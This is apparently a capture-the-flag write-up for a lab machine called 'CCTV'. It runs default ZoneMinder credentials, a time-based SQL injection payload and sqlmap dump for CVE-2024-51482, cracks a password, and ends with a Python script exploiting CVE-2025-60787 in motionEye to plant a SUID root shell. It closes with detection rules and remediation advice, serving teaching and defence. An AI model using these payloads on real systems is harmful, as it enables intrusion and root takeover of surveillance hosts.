Overview
CCTV is a hard-rated Linux machine running a “SecureVision CCTV & Security Solutions” marketing site on Apache 2.4.58 with ZoneMinder v1.37.63 as the backend surveillance platform and motionEye v0.43.1b4 running as root on localhost. The attack chain spans five findings across two applications and two credential weaknesses.
The engagement begins with default credentials on ZoneMinder (admin:admin),
granting full administrative access to the surveillance system. From the
authenticated session, CVE-2024-51482 (SQL injection in the tid parameter
of the tag removal endpoint) is exploited to extract bcrypt password hashes
from the Users table. The hash for user mark cracks to opensesame, and
that password is reused for SSH, yielding a shell on the target.
Post-authentication enumeration reveals motionEye v0.43.1b4 running as root
on localhost port 8765. The motionEye admin password hash is stored in a
world-readable configuration file. With API authentication solved,
CVE-2025-60787 (command injection via the command_notifications_exec field)
provides arbitrary command execution as root. A SUID bash binary is created,
and /tmp/rootbash -p gives euid=0.
Reconnaissance
nmap -sV -sC -A -T4 10.129.244.156
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 22 | SSH | OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 | Ubuntu 24.04 LTS |
| 80 | HTTP | Apache 2.4.58 (Ubuntu) | SecureVision CCTV site |
Two services exposed. The main site is a marketing page with a “Staff Login”
button linking to /zm/, which serves ZoneMinder’s web interface.
Directory fuzzing yields no additional endpoints beyond /zm/ and static
asset directories. The entire attack surface is ZoneMinder.
After authentication, the API confirms the version:
curl -s -b cookies.txt "http://cctv.htb/zm/api/host/getVersion.json"
# {"version":"1.37.63"}
Internal services (discovered after SSH)
mark@cctv:~$ ss -tlnp
| Port | Service | Notes |
|---|---|---|
| 8765 | motionEye v0.43.1b4 | Web UI and API; runs as root (systemd) |
| 7999 | Motion v4.7.1 | Daemon API; event trigger endpoint |
| 9081 | MJPEG stream | Live camera feed |
| 8554 | RTSP server | Bound to 0.0.0.0 (externally accessible) |
| 1935 | RTMP server | Bound to 0.0.0.0 |
| 3306 | MySQL | ZoneMinder database |
Attack Surface Analysis
ZoneMinder default credentials
ZoneMinder ships with admin:admin as the default credential pair. The
deployment on this host did not change it. No account lockout policy exists.
The application does not enforce a password change on first login.
curl -s -c cookies.txt \
"http://cctv.htb/zm/index.php?view=login" \
-d "username=admin&password=admin&action=login"
# 302 redirect to Console; ZMSESSID cookie set
Full administrative access confirmed: System:View, Events:Edit, Monitors:Create, Groups:Edit, Devices:Edit.
CVE-2024-51482: SQL injection via tag ID parameter
ZoneMinder v1.37.63 is within the affected range for CVE-2024-51482. The
tid parameter in the tag removal endpoint is concatenated directly into a
SQL DELETE query without parameterisation.
| Attribute | Value |
|---|---|
| CVE | CVE-2024-51482 |
| CVSS 3.1 | 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) |
| CWE | CWE-89 (SQL Injection) |
| Type | Time-based blind (NVD classifies as boolean-based) |
| Prerequisite | Authenticated ZoneMinder session |
Vulnerability Analysis
The tid parameter at /zm/index.php?view=request&request=event&action=removetag
is passed directly into a DELETE query:
DELETE FROM Events_Tags WHERE TagId = <tid_value>
A SLEEP(5) subquery in the tid parameter causes the response to take
approximately 5 seconds, confirming injection:
time curl -s -b cookies.txt \
"http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1+AND+(SELECT+1765+FROM+(SELECT(SLEEP(5)))pmdE)"
# Response time: ~5.2 seconds (vs ~0.1s baseline)
Default sqlmap settings (level=1, risk=1) do not detect this injection.
The parameter requires level=5 and risk=3 because the injection point
uses time-based techniques only.
Exploitation
Phase 1: SQL injection to extract credentials
sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \
--cookie="ZMSESSID=<session>" --batch --dbms=mysql \
-p tid --level=5 --risk=3 -D zm -T Users -C Username,Password --dump
Three users extracted. Time-based blind extraction is slow: each character takes approximately 8 to 10 seconds. The three bcrypt hashes (60 characters each) take roughly 8 to 10 minutes per hash.
| Username | Hash type | Cracked? |
|---|---|---|
| admin | bcrypt | Not attempted (already authenticated) |
| mark | bcrypt | Yes: opensesame |
| superadmin | bcrypt | No (outside engagement window) |
Phase 2: bcrypt cracking and SSH
hashcat mode 3200 handles bcrypt $2y$ hashes. The RTX 3060 achieves
approximately 50 H/s at cost 10. The password opensesame appears early in
rockyou.txt and cracks within approximately 20 minutes.
sshpass -p 'opensesame' ssh [email protected]
mark@cctv:~$ cat /home/sa_mark/user.txt
# [flag redacted]
The user flag is in /home/sa_mark/user.txt, not in mark’s home directory.
Phase 3: motionEye admin hash from world-readable config
mark@cctv:~$ cat /etc/motioneye/motion.conf | grep admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
The file /etc/motioneye/motion.conf is world-readable (0644). The SHA-1
hash is functionally equivalent to a credential: motionEye’s API
authentication uses the hash directly for HMAC signature computation, so
possessing the hash grants full API access without reversing it.
Phase 4: CVE-2025-60787 command injection via motionEye
motionEye v0.43.1b4 allows configuration of the
command_notifications_exec field via its REST API. This value is written
into the Motion daemon configuration as the on_event_start directive.
When a motion event occurs, the Motion daemon executes on_event_start
using system(). The critical design flaw: the motionEye systemd service
runs with User=root.
The API requires all 115 camera configuration fields in a single request.
Partial updates return HTTP 500. I use motionEye’s own
compute_signature() function from the installed Python package:
from motioneye.utils import compute_signature
import requests, json
admin_hash = '989c5a8ee87a0e9521ec81a79187d162109282f0'
# Fetch full config, modify two fields, post back
sig = compute_signature('GET', '/config/1/get/', '', admin_hash)
r = requests.get(f'http://127.0.0.1:8765/config/1/get/?_signature={sig}&_username=admin')
config = r.json()
config['command_notifications_enabled'] = True
config['command_notifications_exec'] = 'cp /bin/bash /tmp/rootbash; chmod u+s /tmp/rootbash'
body = json.dumps(config)
sig = compute_signature('POST', '/config/1/set/', body, admin_hash)
requests.post(f'http://127.0.0.1:8765/config/1/set/?_signature={sig}&_username=admin',
data=body, headers={'Content-Type': 'application/json'})
Trigger the motion event:
wget -qO- "http://127.0.0.1:7999/1/action/eventstart"
# Wait 5 seconds
ls -la /tmp/rootbash
# -rwsr-xr-x 1 root root 1396520 Mar 24 21:44 /tmp/rootbash
/tmp/rootbash -p
# uid=1000(mark) gid=1000(mark) euid=0(root)
cat /root/root.txt
# [flag redacted]
Post-Exploitation
The system is Ubuntu 24.04.2 LTS with a current kernel (6.8.0-51-generic). No kernel exploits were needed. The privilege escalation was entirely through application-layer vulnerabilities: a service running as root with insufficient input validation.
The RTSP (8554) and RTMP (1935) ports are bound to 0.0.0.0, making camera
streams accessible to any host on the network without authentication. In a
production surveillance deployment, this would allow an attacker to
intercept or replace camera feeds.
Defensive Analysis
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Initial Access | T1078.001 | Default credential alert; force password change on first login |
| Collection | T1213 | Monitor for SQL keywords in ZoneMinder tag parameters |
| Credential Access | T1110.002 | Brute-force detection on bcrypt hash extraction |
| Lateral Movement | T1021.004 | SSH login correlation with ZoneMinder credential compromise |
| Credential Access | T1552.001 | File integrity monitoring on motionEye config files |
| Privilege Escalation | T1068 | auditd rules on motionEye config directory changes |
| Persistence | T1548.001 | SUID binary creation detection in /tmp |
Detection for the motionEye command injection: monitor
/etc/motioneye/camera-*.conf for changes to the on_event_start
directive. An auditd rule on the motionEye config directory would catch
any modification:
# /etc/audit/rules.d/motioneye.rules
-w /etc/motioneye/ -p wa -k motioneye_config_change
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Change ZoneMinder admin password; enforce strong policy | Low | Critical |
| P0 | Upgrade ZoneMinder to >= 1.37.65 (patches CVE-2024-51482) | Low | Critical |
| P0 | Change motionEye systemd service from User=root | Low | Critical |
| P1 | Restrict /etc/motioneye/motion.conf to 0640 root:motioneye | Low | High |
| P1 | Enforce password complexity; prohibit cross-service reuse | Medium | High |
| P1 | Deploy MFA for ZoneMinder and SSH | Medium | High |
| P2 | Bind RTSP/RTMP to localhost or add authentication | Low | Medium |
| P2 | Deploy file integrity monitoring on config directories | Medium | Medium |
| P3 | Implement SIEM alerting for SQL injection patterns | Medium | Medium |
Running surveillance software as root is a critical design flaw. The
motionEye systemd service explicitly sets User=root, meaning any command
injection executes with full system privileges. This is the single most
impactful remediation: changing the service to run as an unprivileged
account would have prevented the root compromise even if the command
injection vulnerability remained unpatched.
Key Takeaways
-
Default credentials remain the most common initial access vector. ZoneMinder ships with
admin:adminand does not enforce a change on first login. The application could prevent this by refusing to serve the console until the default password is changed, as many modern appliances do. -
Time-based blind SQL injection requires elevated sqlmap sensitivity. Default detection levels miss many real-world injections. When manual testing shows a measurable delay with
SLEEP(), always escalate tolevel=5 risk=3. If a scanner reports “no vulnerabilities found” on a parameter where you observed suspicious timing, increase sensitivity before moving on. -
Use the application’s own libraries for authentication. Manually computing the motionEye HMAC signature failed repeatedly due to subtle formatting differences. Importing the library’s own
compute_signature()function from the installed Python package produced correct signatures on the first attempt. When a custom authentication scheme is in use, the source code is the authoritative reference. -
Running services as root eliminates all privilege boundaries. The motionEye service could have run as a dedicated unprivileged user with no impact on functionality. The decision to run as root converted a medium- severity command injection into a full system compromise.